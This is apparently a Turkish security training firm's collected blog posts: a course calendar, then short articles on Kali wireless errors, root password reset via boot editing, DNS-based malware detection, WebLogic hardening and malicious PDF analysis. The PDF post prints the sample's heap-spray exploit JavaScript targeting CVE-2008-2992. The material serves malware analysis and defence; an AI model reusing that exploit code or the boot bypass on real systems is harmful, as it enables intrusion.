1-3 Eylül 2014 Uygulamalı Ağ Güvenliği EğitimiTıklayınız 3 Gün İstanbulBaşvur

3-5 Eylül 2014 Ağ ve Güvenlik Yöneticileri için Linux Eğitimi Tıklayınız 3 GünAnkara Başvur

4-6 Eylül 2014 İleri Seviye Ağ Güvenliği Eğitimi Tıklayınız 3 Gün İstanbulBaşvur

1-5 Eylül 2014 Sertifikalı Ağ Güvenliği Uzmanı Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

8-10 Eylül 2014 PfSense Güvenlik Duvarı EğitimiTıklayınız 3 Gün İstanbulBaşvur

12-14 Eylül 2014 Kurumsal Ağlarda Malware(Zararlı Yazılım) Analizi Eğitimi Tıklayınız3 Gün İstanbul Başvur

15-19 Eylül 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur

18-20 Eylül 2014 Ağ ve Güvenlik Yöneticileri için Linux Eğitimi Tıklayınız 3 Günİstanbul Başvur

22-26 Eylül 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

22-24 Eylül 2014 ISO 27001 Bilgi Güvenliği Yönetimi Eğitimi(Yeni İçerik İle Birlikte - 2013)Tıklayınız 3 Gün Ankara Başvur

EKİM

Page 65: Ceh ders not

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

1-3 Ekim 2014 Uygulamalı Ağ Güvenliği EğitimiTıklayınız 3 Gün Ankara Başvur

1-3 Ekim 2014 Saldırı Tespit ve Engelleme Sistemi - Snort Eğitimi Tıklayınız 3 Günİstanbul Başvur

13-15 Ekim 2014 İleri Seviye Ağ Güvenliği Eğitimi Tıklayınız 3 Gün AnkaraBaşvur

16-18 Ekim 2014 Advanced Penetration Testing (CAST 611) Tıklayınız 3 Günİstanbul Başvur

20-24 Ekim 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

25-26 Ekim 2014 Mobil Uygulama Güvenlik Denetimi Eğitimi Tıklayınız 2 Gün- Başvur

27-31 Ekim 2014 CISSP Sertifikası Hazırlık Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

KASIM

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

3-5 Kasım 2014 Kurumsal Ağlarda Malware Analizi Eğitimi Tıklayınız 3 GünAnkara Başvur

6-8 Kasım 2014 Advanced Penetration Testing (CAST 611) Tıklayınız 3 GünAnkara Başvur

17-21 Kasım 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün AnkaraBaşvur

24-28 Kasım 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

24-28 Kasım 2014 CISSP Sertifikası Hazırlık Eğitimi Tıklayınız 5 Gün AnkaraBaşvur

- Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız 3 Gün AnkaraBaşvur

- Web Uygulama Güvenlik Testleri Eğitimi Tıklayınız 3 Gün İstanbulBaşvur

ARALIK

Tarih Eğitim Adı Bilgi Durum Süresi Lokasyon/İl

2-3 Aralık 2014 Log Yönetimi ve Analizi Eğitimi Tıklayınız 3 Gün Ankara Başvur

Page 66: Ceh ders not

8-9 Aralık 2014 Log Yönetimi ve Analizi Eğitimi Tıklayınız 3 Gün Ankara Başvur

22-26 Aralık 2014 Beyaz Şapkalı Hacker Eğitimi Tıklayınız 5 Gün İstanbulBaşvur

Eğitim takvimi Ocak 2014 – Temmuz 2014 arasını içermektedir. Bilgi Güvenliği AKADEMİSİ eğitim tarihleri ve içeriklerde değişiklik yapma hakkını saklı tutmaktadır. Eğitimler hafta içi ve hafta sonu 09-17 saatleri arasında yapılmaktadır.

Open menu Share

0 0

06/09/14--01:48: Kablosuz Ağ Testlerinde Üzerinde Çalışılan Kanalın -1 de Takılı Kalması

Kali Linux işletim sisteminde kurulu olarak gelen açık kaynak kodlu araçlar sayesinde Kablosuz Ağ testlerini çok hızlı ve kararlı bir şekilde yapabiliriz. Fakat Kablosuz ağ testlerini yapmak için alacağımız kablosuz adaptörün içerisinde bulunan chipsetlerinin işletim sistemi ile uyumuna dikkat etmemiz gerekiyor. Chipseti ile İşletim sistemi uyumsuzluğu var ise test esnasında çeşitli hatalar alabiliriz. Bu hatalardan birisi

“fixed channel monX: -1”(X bir tamsayı), hatasıdır. Bahsedilen hatayı belirli bir kanal üzerinde çalışma yapmak istediğimizde alırız. Bu uyarı genellikle belirlenen kanal ve Mac adresi için dinleme modunda alınıyor ise bir probleme yol açmaz ve belirlediğiniz özelliklere sahip paketleri dinleyebilirsiniz.

Bahsedilen uyarıya yol açan örnek bir kullanım için ekran alıntısı.

Sadece bildirim amaçlı olan uyarıyı aldığımız örnek bir ekran alıntısı.

Bu ekran alıntısında olduğu gibi uyarı sadece bildirim düzeyinde olup çalışmanızı engellemez.

Fakat paket enjeksiyonu yapmak istediğimizde aynı sonucu elde edemeyiz. Yani oluşturulan paketleri seçilmiş bir kanal üzerinden seçilmiş bir hedefe göndermek istediğimizde aldığımız uyarı hata niteliğinde olup komutlarımızın çalışmasını engeller.

Bahsedilen uyarıya yol açan bir kullanım ve hata çıktısı için örnek bir ekran alıntısı.

Page 67: Ceh ders not

Hata çıktısında da belirtildiği gibi işlemlerin gerçekleştirilmesi için kanal -1 den bağlantı beklenilmektedir. Hâlbuki bizim tanımladığımız MAC adreslerine sahip cihazlar kanal 7 de çalışmaktadır. Hata mesajında da belirtildiği gibi bu problemi aşmak için iki yol deneyebiliriz.

1. Çözüm Yolu

–ignore-negative-one komutu ile kullanabiliriz. Bu komut sayesinde kanal -1 direk olarak pas geçilir.

Bu çözüm yolunun kullanıldığı örnek bir ekran alıntısı.

Ekran alıntısında da görüldüğü gibi, yine aynı uyarıyı alıyoruz fakat komutlarımızın çalışmasını engellememekte.

2. Çözüm yolu

Bu çözüm yolunda kablosuz adaptörünüzün chipsetinin Kali Linux tarafından tanınabileceği bir sürücü yazılımını yüklemeniz gerekiyor. Burada şunu unutmayalım, her Chipseti Kali Linux için uyumlu değildir. Bu yazılım araçları ve sürücü yazılımlarının bilgi güvenliği amaçlı kod geliştiricileri tarafından sıfırdan hazırlandığını unutmayalım. Kablosuz ağ güvenliği testleri için kullanabileceğiniz birçok adaptör bulabilirsiniz. Fakat satın almadan önce hangi marka ve modellerin (daha doğrusu chipsetin) uyumlu olduğunu araştırmanızı öneriyorum. Konu ile alakalı bloğumuzdan da faydalanabilirsiniz.

İlgili makaleye linkten ulaşabilirsiniz.

http://blog.bga.com.tr/2011/06/wireless-kartm-packet-injection.html

Open menu Share

0 0

06/13/14--00:52: Kali Linux İşletim Sisteminde Root Şifresinin Sıfırlanması

Page 68: Ceh ders not

Kali Linux İşletim Sisteminin Root şifresinin Sıfırlanması

Linux işletim sistemlerinde root şifresi unutulduğu zaman, işletim sistemi “single mod” da açılıp şifre yeniden yapılandırılabilir. Farklı Linux işletim sistemleri için single mod a erişim elde edebilmek için farklı adımlar izlemek gerekebilir. Bu makalede Kali Linux işletim sistemi için rootşifresinin nasıl sıfırlanacağı anlatılacaktır.

İzlenilecek adımlar;

Kali Linux işletim sistemi başlatılır

Boot seçenekleri penceresi, ekrana geldiğinde klavyenin yön tuşları ile 2. satırda bulunan recovery mode’u seçilir.

Not: Daha sonra çıkacak olan sürümlerde boot sıralaması değişebilir, bundan dolayı sıralamadan ziyade seçilen boot modunun ismine dikkat edilmelidir.

Bu pencere görüntülendiğinde “e” tuşuna basılır (Edit = düzenle). Normalde Kali boot dosyalarını okuma modunda açar, bu işlem ile yazma moduna geçilerek şifre yeniden yapılandırılabilir.

“e” tuşuna basıldıktan sonraki ekrana gelecek olan pencere,

Kırmızı çerçeve içerisine alınan kısımlarda düzenlemeler yapılması gerekiyor.

a- ro = “Read Only “ anlamına gelmektedir. Hali hazırda olan konfigürasyonun okunup sistemin hızlı bir şekilde başlatılması için bu değer seçilidir. Bu değerin okuma ve yazma hakları ile aç anlamına gelen “rw” ile değiştirilmelidir.

b- initrd=/install/initrd.gz satırının sonuna bir boşluk bırakarak init=/bin/bash komutu eklenir.

Bu düzenlemelerin yapılmış halinin ekran görüntüsü,

Sistemi bu hali ile başlatmak için “Ctrl+X” tuş kombinasyonunun kullanılması gerekmektedir.

Page 69: Ceh ders not

4. Ekrana bildirim yazılarının dökülmesi bittiğinde Enter tuşuna basılıp, komut satırının görünürlüğü sağlanmalı. Şimdi şifre değiştirebilir. Gerekli olan komutlar kırmızı çerçeve içeresine alınmıştır.

Not: Görüldüğü üzere sistem bu modda başlatıldığında, root yetkileri ile açılmasına rağmen şifre istememektedir. Bu yöntem, unutulan şifrelerin tekrar kazanılması adına yararlı bir yöntem olduğu gibi, sistemin fiziksel güvenliği sağlanmadığı takdirde başkalarının sisteme erişimi noktasında bir zafiyet teşkil etmektedir.

Bu aşamadan sonra sistemin güç düğmesi kullanılarak kapatılıp, yeniden açılması gerekmektedir.

Artık sisteme yeni şifre ile giriş yapılabilir.

Open menu Share

0 0

06/24/14--09:58: DNS İsteklerini Analiz Ederek Zararlı Yazılım Tespiti

Zararlı yazılımlar komuta merkezleriyle haberleşmede alanadlarını sıklıkla kullanırlar. Alanladlarının kullanımı, internetin kalınına olduğu gibi zararlı yazılımlara da doğrudan IP adreslerinin kullanımıyla elde edemeyecekleri bir esneklik kazandırır. Bu esneklikten yararlanıp komuta merkezlerinin kapatılmasıyla zararlı yazılım ağının etkisizleştirilmesini zorlaştıracak yöntemler uygulayabilirler.

1. Alanadındaki Anormalliklerin İncelenmesi:

Alanadı gözden kaçması amacıyla bilindik bir alanadına çok benzer şekilde seçilmiş olabilir. Örneğin: rnicrosoft.com, 1inkedin.com gibi adreslere şüpheyle yaklaşılması gerekir.

Page 70: Ceh ders not

Algoritmik olarak üretilmiş (bkz: DGA) f3122.com, a112331b.com gibi rasgele harf veya rakamlardan oluşan alanadlarının da detaylı analiz edilmesi gerekmektedir.

2. Alanadı Kayıtlarının İncelenmesi:

*nix sistemlerde alanadı kayıtları “whois alanadı” komutuyla elde edilebilir. Windows için de Sysinternals’ın whois aracı kullanılabilir. Whois, alanadıyla ilgili oldukça faydalı bilgiler verir. Örneğin bir Linux terminalde

“whois asasas.eu” komutu çalıştırıldığında aşağıdaki çıktı elde edilmektedir.

% The WHOIS service offered by EURid and the access to the records

……………….

% WHOIS asasas

Domain: asasas

Registrant:

NOT DISCLOSED!

Visit www.eurid.eu for webbased whois.

Reseller:

Technical:

Name: Tech. Service

Organisation: Internet.bs Corp.

Language: en

Phone: +1.2423275277

Fax: +1.2423275277

Email: [email protected]

Page 71: Ceh ders not

Registrar:

Name: Internet.bs Corp.

Website: www.INTERNET.bs

Name servers:

ns-canada.topdns.com

ns-uk.topdns.com

ns-usa.topdns.com

….

Bu sorgudan detaylı bilgi elde edilemese de www.eurid.eu adresinden bu alanadı için detaylı sorgulama yapılabileceği öğrenilmiştir. Adresin web tabanlı sorgu için kullanılabileceği belirtilmiştir, bu yüzden sorgu bir web tarayıcısı aracılığıyla gerçekleştirilebilir. Aksi durumda “whois -h www.eurid.eu asasas.eu” komutu ile belitilen adresten sorgulama yapılabilirdi.

Web tabanlı sorgunun çıktısı şu şekildedir:

Name asasas

Status REGISTERED (What this means)

Registered June 13, 2014

Expiry Date June 30, 2015

Last update June 13, 2014, 3:12 am

Registrant

Name Hans Bruse

Organisation hans inc

Language German

Address

…..

Page 72: Ceh ders not

Çıktıdan alanadının kayıt tarihi, ne zamana kadar kaydedildiği, en son ne zaman güncellendiği, kaydeden kişinin ve kuruluşun adı gibi bilgiler elde edilebilmektedir. Örnekte görüldüğü gibi alanadının kayıt veya güncellenme tarihinin çok yeni olması, veya süresinin dolmasına çok az kalmış olması, gerçekçi olmayan kişi kurum bilgileri gibi durumlar tek başına yeterli olmamakla beraber alanadının zararlı aktivitieler için kullanıldığına dair ipucu olabilir.

3. Alanadının Kara Listelerde Aranması:

Alanadının zararlı olarak kaydedilmiş olma ihtimaline karşı bilindik listelerde ve arama motorlarında aratılması gerekir.

http://www.malwaredomainlist.com/mdl.php zararlı adreslerin güncel olarak listelendiği bir servistir.

http://www.anti-abuse.org/ ise alanadını birçok farklı RBL’de (real time black list) arayıp sonuçları listeleyen bir servistir.

Bu aşamada alt alanadlarının bulunup incelenmesi de alanadının zararlı olup olmadığı hakkında fikir verebilir. Alt alanadlarının bulunmasında Linux Dnsutils’de bulunan dig komutu, dnsmap veya fierce gibi araçlar kullanılabilir.

Dig komutuyla hedef alanadının DNS sunucusunda zone transfer özelliği açıksa o sunucudaki tüm DNS kayıtları elde edilebilir.

“dig NS suphelidomain.org” komutu ile DNS sunucusu öğrenilir.

“dig @dnsserver afxr suphelidomain.org” komutu ile de zone transfer denemesi yapılır.

$ dig @ns2.3322.net afxr f3322.org

; <<>> DiG 9.8.3-P1 <<>> @ns2.3322.net afxr f3322.org

; (1 server found)

;; global options: +cmd

;; Got answer:

;; ->>HEADER<<- opcode: QUERY, status: REFUSED, id: 40085

;; flags: qr rd; QUERY: 1, ANSWER: 0, AUTHORITY: 0, ADDITIONAL: 0

Page 73: Ceh ders not

;; WARNING: recursion requested but not available

;; QUESTION SECTION:

;afxr. IN A

;; ANSWER SECTION:

f3322.org. 60 IN A 101.71.195.119

……

;; AUTHORITY SECTION:

f3322.org. 86400 IN NS ns2.3322.net.

f3322.org. 86400 IN NS ns1.3322.net.

……

4. Alanadı-IP Çözümlemesinin Analiz Edilmesi:

“host alanadı” komutuyla alanadının çözdüğü IP adresleri öğrenilir.

host f3322.org

f3322.org has address 101.71.195.119

Daha sonra öğrenilen IP adresleri

http://www.malwaredomainlist.com/mdl.php

http://www.anti-abuse.org/

adreslerinden kara listelerde aranır.

Bazı zararlı yazılımlar, özellikle botnetler komuta merkezi olarak kullandıkları sunucuların tespit edilip engellenmesini zorlaştırmak için “fast flux” adı verilen bir yöntem kullanırlar. Bu yöntemle C&C

Page 74: Ceh ders not

sunucuları farklı servis sağlayıcılarda konuşlandırıp bu sunucuların IP adresleri DNS kayıtlarına girilir. Round-robin mantığıyla DNS çözümlemesinde en üstteki IP adresinin değişmesi sağlanır. Normalde bu yöntem yük dengeleme veya hizmet kesintilerini engelleme amaçlı kullanılmaktadır. Örneğin art arda çalıştırılan iki “host google.com” komutunun çıktısı şu şekildedir.

$ host google.com

google.com has address 173.194.70.100

google.com has address 173.194.70.102

google.com has address 173.194.70.139

google.com has address 173.194.70.101

google.com has address 173.194.70.138

google.com has address 173.194.70.113

….

$ host google.com

google.com has address 173.194.70.138

google.com has address 173.194.70.113

google.com has address 173.194.70.100

google.com has address 173.194.70.102

google.com has address 173.194.70.139

google.com has address 173.194.70.101

….

Fast flux alanadlarını tespit etmek için bir alanadının daha önce çözdüğü ip adreslerini listeleyebilen

www.bfk.de

www.robtex.com/

servisleri kullanılabilir. Ayrıca robtex.com IP’nin bulunduğu coğrafik bölge bilgisini de vermektedir.

Fast flux alanadlarının gösterdiği bir diğer anormallik ise DNS kaydı TTL değeridir. IP adresleri sürekli güncellendiğinden dolayı DNS cevaplarının önbelleğe alınması sorun oluşturabilir. Bu yüzden TTL

Page 75: Ceh ders not

değerinin 0 veya çok küçük bir değer olması gerekir. TTL değeri “dig alanadi.com” komutunun çıktısında görülebilir.

Yerel ağdaki fast flux alanadlarının yakalanması için Australian Honeynet Project’in Tracker aracı kullanılabilir. Tracker aracını kurmak için sırasıyla aşağıdaki komutlar çalıştırılır.

(eğer sistemde postgresql kurulu değilse)

apt-get install postgresql

sudo -u postgres psql

CREATE DATABASE fast_flux;

CREATE USER tracker WITH PASSWORD '123456';

GRANT ALL PRIVILEGES ON DATABASE fast_flux TO tracker;

GRANT ALL PRIVILEGES ON ALL TABLES IN SCHEMA PUBLIC TO tracker;

\q

add-to-test-table.pl, test_submission.pl, flux.pl dosyalarından $username ve $password alanları güncellenir.

$username=‘tracker’

$password=‘123456’

Veritabanı yüklenip dosyalar çalıştırılabilir yapılır.

sudo -u postgres psql fast_flux < setupdb.sql

chmod u+x add-to-test-table.pl flux.pl test_submission.pl

Page 76: Ceh ders not

Son olarak domains.txt içine şüpheli alanadları yazıldıktan sonra Tracker’ın betikleri şu sırayla çalıştırılır.

./add-to-test-table.pl < domains.txt

hotmail.com Inserted

google.com Inserted

yahoo.com Inserted

./test-submission.pl

Looking for new work to do

Testing Host hotmail.com

4 Distinct cnt

Removing Host hotmail.com from the input Table

Testing Host google.com

6 Distinct cnt

Removing Host google.com from the input Table

Testing Host yahoo.com

3 Distinct cnt

Removing Host yahoo.com from the input Table

./flux.pl

Getting New Work

0

Checking Domains that have been set to inactive

Getting New Work

0

Checking Domains that have been set to inactive

Getting New Work

Page 77: Ceh ders not

….

flux.pl betiğinin çıktısı incelenerek listedeki fast-flux alanadları belirlenebilir.

Open menu Share

0 0

06/25/14--14:17: ASN Kayıtlarından ISP IP Bloklarını Öğrenme

ASN (Autonomous System Number) bilgisi kullanılarak bir IP’nin bulunduğu ISP ve ISP’lerin IP blokları tespit edilebilir.

Terminalden

whois -h asn.shadowserver.org 'origin ipadresi’ komutu ile bir IP’nin bulunduğu ISP’nin detayları listelenir. Komutun çıktısında en baştaki numara ASN’dir. Devamında

whois -h asn.shadowserver.org 'prefix ASN’ komutu ile ISP’nin IP blokları listelenir.

Aynı yöntemi kullanarak IP bloklarını veya IP adreslerini liste olarak elde etmek için Gökhan Alkan'ın yazdığı get_ip_via_asn.sh betiği (https://github.com/galkan/tools/blob/master/others/programming/bash/get_ip_via_asn.sh) kullanılabilir.

Betiğin kullanımı:

CIDR formatında almak için:

# ./get_ip_via_asn.sh -d bga.com.tr | head -5

103.21.244.0/24

103.22.200.0/24

103.22.201.0/24

103.22.203.0/24

Page 78: Ceh ders not

103.31.4.0/24

IP adresi şeklinde almak için:

# ./get_ip_via_asn.sh -d bga.com.tr -i 1 | head -5

103.21.244.0

103.21.244.1

103.21.244.2

103.21.244.3

103.21.244.4

Open menu Share

0 0

06/27/14--23:25: WebLogic Sisteminizi Daha Güvenli Hale Getirmek

Üç katmanlı web mimarisinde internete açık ve/veya lokal ağda çalışan kritik uygulamaların güvenliğini sağlarken, her katmanda ayrı ayrı güvenlik önlemleri alınır. Bu önlemlerin büyük bölümü firewall katmanına bırakılır ve firewall’dan sonrası büyük çoğunlukça önemsenmez.

Oysa saldırıların ve güvenlik zaafların büyük çoğunluğu eski çalışanlar, sistemi detaylı bilenler veya ağ içerisindeki kullanıcılar tarafından yapılır. O bakımdan kiritik uygulamaların güvenlik önlemleri uygulama sunucuları seviyesinde de dikkate alınmalıdır.

Oracle WebLogic uygulama sunucusu kurumsal java dünyasında yaygın olarak kullanılan bir uygulama sunucusudur. Fakat WebLogic kurulumları çoğunlukla varsayılan konfigürasyonlar ile bırakılır. Eğer aşağıdaki hizmetlere yönelik bir “WebLogic Domain”i yönetiyor ve operasyonunu yürütüyorsanız;

· Bankacılık Uygulamaları

· Resmi Kamu Kurum Uygulamaları

· İnternete açık e-Ticaret Web Uygulamaları

Page 79: Ceh ders not

Üzerinde kritik uygulamanın çalıştığı, yönetimini ve sahipliğini yaptığınız “WebLogic Domain”in güvenliğini güçlü bir şekilde sağlayıp; iç ve dış saldırılara (hacking attacks) karşı önlem almalısınız.

Bu kritik uygulamalar için hayati önem taşıyan ve büyük çoğunluğu olmazsa olmaz niteliğinde olan teknik detayları aşağıda madde madde sıralıyorum. Ve bu önlemler alındığı takdirde uygulama sunucusu katmanında da ciddi güvenlik önlemleri almış olacaksınız.

Böylelikle yönetimini yapmış olduğunuz sistem saldırılara karşı çok daha güvenilir ve güçlü olacaktır.

Varsayılan port numaraları/değerleri kullanılmamalı. (7001, 7002… vb. gibi)

WebLogic Domain için varsayılan admin kullanıcısı olarak “weblogic” değeri tercih edilmemeli.

WebLogic başlangıç scriptlerinde admin “kullanıcıadı|parola” bilgileri parameter olarak geçilmemeli. Bunun yerine “-Dweblogic.system.BootIdentityFile=$PATH/boot.properties” değişkeni ve şifrelenmiş “boot.properties” dosyası kullanılmalıdır.

WebLogic için “Administration Port” özelliği aktiflenmeli.

“Cross Domain Security” özelliği aktif olmalı.

WebLogic domain admin konsol için varsayılan “console” context path değeri değiştirilmeli.

Custom Identity ve Custom Trust (JKS) kullanılmalı.

Gerçek ve geçerli SSL sertifikaları WebLogic instance’lara yüklenmeli ve iç trafik de https olarak düzenlenmeli.

“Custom Hostname Verifier” kullanılmalı.

“Max Post Size” değeri belirlenmeli. Varsayılan ayar limitsiz şeklindedir.

“Frontend Host” ve “Frontend Https Port” değerleri girilmeli

“Minimum, Maximum, IO Buffer Sizer” değerleri belirlenip girilmeli

JMS kaynakları güvenli hale getirilmeli

LDAP otantikasyon ve yetkilendirilme ayarları yapılmalı

WebLogic domain için “Administration auditing” açılmalı ve detayları kütüğün yazılması sağlanmalı

WebLogic üzerinde çalışan kiritik canlı sistem uygulamaların domain yönetiminde, yukarıda sıraladığım konfigürasyonların büyük çoğunluğu yapılmamaktadır ve %99 oranında bu konfigürasyonlar yapılmamış olarak hizmet vermektedir.

Page 80: Ceh ders not

Bu konfigüsyonlar yapılmadığı müddetçe, her bir madde için ayrı saldırı çeşitleri mevcut olup, ilgili WebLogic domain bu saldırılar kaşısında savunmasız durumdadır.

Eğer önemli bir sistemin WebLogic uygulama yönetimini yapıyorsanız, iki defa düşünün. Güvenlik ayarlarınızı yeniden gözden geçirerek iç ve dış saldırılara karşı güvenliğinizi arttırmanızı önemle tavsiye ediyorum.

Uygulamaların güvenliğini sağlamak her zaman meşakkatli ve daha fazla bilgi birikimi gerektiriyor. Bu anlamda bu süreç sancılı olabilir fakat en nihayetinde daha güçlü bir kale inşa edeceksinizdir. Uygulama sunucularının güvenlik konfigürasyonları için bir uzmandan destek almaktan kaçınmayınız.

Kullanıcı kitlemize daha güvenli bir sistem sunmak için herkese ayrı ayrı görevler düşüyor. Siber saldırılara karşı “uygulama sunucusu” katmanında da bu önlemleri almak, uygulama güvenlik duvarını daha da güçlendirecektir.

M.Fevzi Korkutata (Certified Associate Middleware Consultant) <fevzi.korkutata @ admineer.com >

Open menu Share

0 0

06/30/14--07:14: BGA BANK - Güven(siz) Internet Bankacılığı Uygulaması

“BGA BANK (Vulnerable Online Bank Application)” uygulaması PHP tabanlı çeşitli zafiyetler içeren sızma testi eğitim platformudur. Türkiye'deki bankacılık altyapısı incelenerek bu altyapılarda çıkabilecek tüm teknik ve mantıksal hatalar uygulamanın içine eklenmiş ve web uygulama güvenliği konusunda çalışanlar için gerçekci bir sızma testi platformu oluşturulmuştur. Webgoat, DVWA vs gibi benzeri amaçla yazılmış programlardan en temel farkı açıklıkların doğrudan kullanıcıya nerede olduğu ve nasıl istismar edileceği ile ilgili ipucu vermemesidir.

BGA BANK altyapısı 3 farklı sistemden oluşmaktadır:

1- BGA BANK - http://www.bgabank.com

2- IPS Korumalı Bankacılık Uygulaması - http://ipstest.bgabank.com

Page 81: Ceh ders not

3- WAF Korumalı Bankacılık Uygulaması - http://waftest.bgabank.com

Böylece bgabank.com'da çalışan bir açıklığın hem IPS hem de WAF sistemleri ile tekrar test edilerek çeşitli evasion tekniklerinin denenmesi de sağlanmış olmaktadır.

Detay testler icin gerekli internet bankacılık hesap bilgisi bir müddet sadece beta test kullanıcılarına açılmıştır. OWASP'a ait tüm zafiyetler sisteme uygulandıktan sonra genele açık olarak da sunulacaktır.

BGA Bank - Veritabanı Şeması:

Open menu Share

0 0

07/03/14--12:42: Zararlı Kod İçeren PDF Dosyalarının Analizi

Zararlı kodların pdf, doc, xls gibi farklı doküman formatlarının içine gömülmesi sosyal mühendislik saldırılarında sıklıkla kullanılan bir yöntemdir. Dolayısıyla bu dosyaların da şüpheli durumlarda analiz edilmesi gerekmektedir. REMNux imajıyla gelen, doğrudan da elde edilebilecek çeşitli araçlarla PDF dosyalarının detaylı analizi yapılabilir.

Kullanılan Araçlar:

pdfid

AnalyzePDF

Page 82: Ceh ders not

peepdf

pdf-parser

Origami pdfextract

Örnek zararlının SHA256 özeti: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664

pdfid.py betiği kullanılarak zararlı PDF dosyasının hangi türde ne kadar içeriği olduğu görülür. Örnekte PDF dosyasının Javascript kodları içerdiği görülmektedir.

pdfid z.pdf

PDFiD 0.1.2 z.pdf

PDF Header: %PDF-1.5

obj 8

endobj 8

stream 1

endstream 1

xref 1

trailer 1

startxref 1

/Page 1

/Encrypt 0

/ObjStm 0

/JS 1

/JavaScript 2

/AA 0

/OpenAction 0

/AcroForm 0

Page 83: Ceh ders not

/JBIG2Decode 0

/RichMedia 0

/Launch 0

/EmbeddedFile 0

/XFA 0

/Colors > 2^24 0

Daha sonra AnalyzePDF.py betiği ile PDF dosyasındaki anormallikler analiz edilir. Örnekte hesaplanan entropy değerleri incelendiğinde streamin entropy değerinin toplam entropyden büyük olduğu görülmektedir. Buradan streame encode veya şifreleme işlemi uygulandığı sonucu çıkarılabilir. Bu yüzden AnalyzePDF dosyanın yüksek ihtimalle zararlı olabileceği yorumunu yapmıştır.

/usr/local/AnalyzePDF/AnalyzePDF.py z.pdf

===================================

[+] Analyzing: z.pdf

-----------------------------------

[-] Sha256: f3b30f5ecd00e3b0b74db08146b4d65bd376114da9391eb8541aee9b39974664

[-] JavaScript count.......: 1

[-] Total Entropy..........: 5.205331

[-] Entropy inside streams : 4.458722

[-] Entropy outside streams: 5.183223

[*] Entropy of outside stream is questionable:

[-] Outside (5.183223) +2 (7.183223) > Total (5.205331)

[-] (1) page PDF

-----------------------------------

[-] Total YARA score.......: 0

[-] Total severity score...: 5

Page 84: Ceh ders not

[-] Overall score..........: 5

===================================

[!] HIGH probability of being malicious

Dosyanın zararlı olduğu yönündeki şüpheler doğrultusunda bilinen bir istismar kodu barındırıp barındırmadığı peepdf uygulaması ile kontrol edilir. Örnek dosyanın “CVE-2008-2992” olarak CVE id atanmış bir zafiyeti istismar etmeye çalıştığı anlaşılmıştır.

peepdf z.pdf

File: z.pdf

MD5: c9f23077dbd6537db976016efe5f9206

SHA1: 846345e38038e290d11524819f41422a0213b74a

Size: 3197 bytes

Version: 1.5

Binary: False

Linearized: False

Encrypted: False

Updates: 0

Objects: 8

Streams: 1

Comments: 0

Errors: 2

Version 0:

Catalog: 1

Info: No

Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]

Page 85: Ceh ders not

Errors (1): [8]

Streams (1): [4]

Encoded (0): []

Objects with JS code (1): [8]

Suspicious elements:

/Names: [1, 7]

/JavaScript: [6, 8]

/JS: [8]

util.printf (CVE-2008-2992): [8]

Bu noktada dosyanın zararlı olduğu kesinleşmiştir. Bilindik bir zafiyet olmaması gibi durumlarda bu aşamada da kesin kanıya varılamayabilir ve analize devam edilmesi gerekir.

Pdf-parser.py betiği kullanılarak PDF’in bölümleri parse edilip içerikleri görüntülenir. Çıktıda gösterilen bölümde heap overflow + heap sprey yapmaya çalışan zararlı Javascript kodu açıkça görülmüştür.

pdf-parser.py z.pdf

PDF Comment '%PDF-1.5\r\n'

………

/S /JavaScript

/JS '(\r\nvar temp =

……..

\r\nvar pl= temp.replace('

Page 86: Ceh ders not

/U9htL '/g, "%u");\r\nvar payload = unescape(pl);\r\n\r\nvar nop = "";\r\nvar nopvar = "t8zV9090t8zV9090t8zV9090t8zV9090t8zV9090";\r\nvar nopesc = nopvar.replace('

/t8zV '/g, "%u");\r\nfor(iCnt=128; iCnt>=0;--iCnt) nop += unescape(nopesc);\r\nheapblock = nop + payload;\r\nvar nopbl = "8T490908T49090";\r\nbigblock = unescape(nopbl.replace('

/8T4 '/g, "%u"));\r\nheadersize = 20;\r\nspray = headersize+heapblock.length;\r\nwhile (bigblock.length<spray) bigblock+=bigblock;\r\nfillblock = bigblock.substring(0,spray);\r\nblock = bigblock.substring(0, bigblock.length-spray);\r\nwhile(block.length+spray < 0x40000) block = block + block + fillblock;\r\n\t\r\nmem = new Array();\r\nfor (i = 0; i < 1400; i++)\r\n\tmem[i] = block + heapblock;\r\n\r\nvar num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888\r\nutil.printf("%45000f",num);\r\napp.alert("you should not be able to read this");\r\n)'

…….

PDF Comment ‘%%EOF'

Ayrıca PDF’in belli bölümlerini ayrıştırıp dosya olarak kaydetmek için Origami paketinden pdfextract betiği kullanılabilir. Örneğin sadece Javascript’leri ayıklamak için “pdfextract —js z.pdf” komutu kullanılır. Böylece ayrıştırılan dosyaları “jsdetox” gibi farklı uygulamalarla analiz etmek mümkün olur.